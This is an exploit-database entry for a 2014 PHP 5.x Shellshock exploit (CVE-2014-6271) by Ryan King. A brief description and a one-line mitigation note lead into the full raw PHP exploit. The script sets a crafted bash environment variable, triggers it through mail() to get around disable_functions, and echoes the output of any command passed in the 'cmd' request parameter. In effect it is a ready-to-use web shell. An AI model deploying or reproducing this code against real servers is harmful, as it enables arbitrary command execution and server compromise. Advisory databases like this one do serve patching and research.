PHP 5.x Shellshock Exploit (bypass disable_functions)

vendor:

PHP

by:

Ryan King (Starfall)

9,8

CVSS

CRITICAL

Shellshock

CWE

Product Name: PHP

Affected Version From: 5.*

Affected Version To: 5.6.2

Patch Exists: YES

Related CWE: CVE-2014-6271

CPE: a:php:php:5.6.2

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Debian 7, CentOS 5 and 6

2014

PHP 5.x Shellshock Exploit (bypass disable_functions)

This exploit allows an attacker to bypass the disable_functions directive in PHP 5.x and execute arbitrary commands on the vulnerable system. The exploit works by exploiting the CVE-2014-6271 vulnerability in Bash, which allows an attacker to set environment variables with specially crafted values before calling the PHP mail() function. The exploit then reads the output of the command from a temporary file and returns it to the attacker.

Mitigation:

Upgrade to the latest version of PHP and ensure that the disable_functions directive is properly configured.

Source

Exploit-DB raw data:

# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."\n"; ?>
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
     // PHP will let the user modify ANY environment variable!
     mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>